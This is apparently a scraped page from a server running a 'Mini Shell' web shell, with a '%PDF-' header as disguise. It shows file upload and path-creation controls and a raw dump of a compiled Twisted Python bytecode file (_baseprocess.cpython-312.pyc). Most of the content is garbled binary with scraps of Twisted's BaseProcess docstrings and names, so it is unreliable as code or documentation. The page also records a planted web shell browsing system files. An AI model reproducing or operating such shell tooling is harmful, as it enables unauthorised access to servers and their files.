%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/twisted/internet/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/twisted/internet/__pycache__/_baseprocess.cpython-312.pyc

�

Ϫ�f���\�dZddlmZddlmZddlmZddlmZddl	m
Z
dZGd�d	�Zy
)zd
Cross-platform process-related functionality used by different
L{IReactorProcess} implementations.
�)�Optional)�getWarningMethod)�Failure)�err)�qualzUSince Twisted 8.2, IProcessProtocol.processExited is required.  %s must implement it.c�V�eZdZUdZeeed<dZeeed<dZdZ	d�Z
d�Zd�Zd�Z
y)	�BaseProcessN�pid�statusrc��||_y)N)�proto)�self�protocols  �?/usr/lib/python3/dist-packages/twisted/internet/_baseprocess.py�__init__zBaseProcess.__init__s	����
�c�"�t�}t|jd|�}||ur=t�tt|jj�fztd��y	|t|��y#t$rtdd�YywxYw)N�
processExitedr)�
stacklevelz!unexpected error in processExited)�object�getattrr
r�_missingProcessExitedr�	__class__�DeprecationWarningr�
BaseExceptionr)r�reason�defaultrs    r�_callProcessExitedzBaseProcess._callProcessExited s|���(����
�
�O�W�E�
��G�#����%��d�j�j�.B�.B�)C�(E�E�"��
�
?��g�f�o�.�� �
?��D�=�>�
?�s�$A6�6B�
Bc��||_|xjdz
c_d|_|j|j	|��|j�y)z;
        This is called when the child terminates.
        �N)r�lostProcessr
r�
_getReason�maybeCallProcessEnded)rrs  r�processEndedzBaseProcess.processEnded/sF��������A������������� 7�8��"�"�$rc���|j�J|j|j�}|j}d|_	|jt	|��yy#t
$rt
dd�YywxYw)zD
        Call processEnded on protocol after final cleanup.
        Nz unexpected error in processEnded)r
r"rr$rrr)rrr
s   rr#z!BaseProcess.maybeCallProcessEnded9sh���:�:�!��_�_�T�[�[�1�F��J�J�E��D�J�
>��"�"�7�6�?�3�"��!�
>��D�<�=�
>�s�A�A0�/A0)�__name__�
__module__�__qualname__r
r�int�__annotations__rr!r
rrr$r#�rrr	r	s<���C��#��� �F�H�S�M� ��K��E��
?�%�>rr	N)
�__doc__�typingr�twisted.python.deprecater�twisted.python.failurer�twisted.python.logr�twisted.python.reflectrrr	r+rr�<module>r2s/��
�
�5�*�"�'�*��->�->r

Zerion Mini Shell 1.0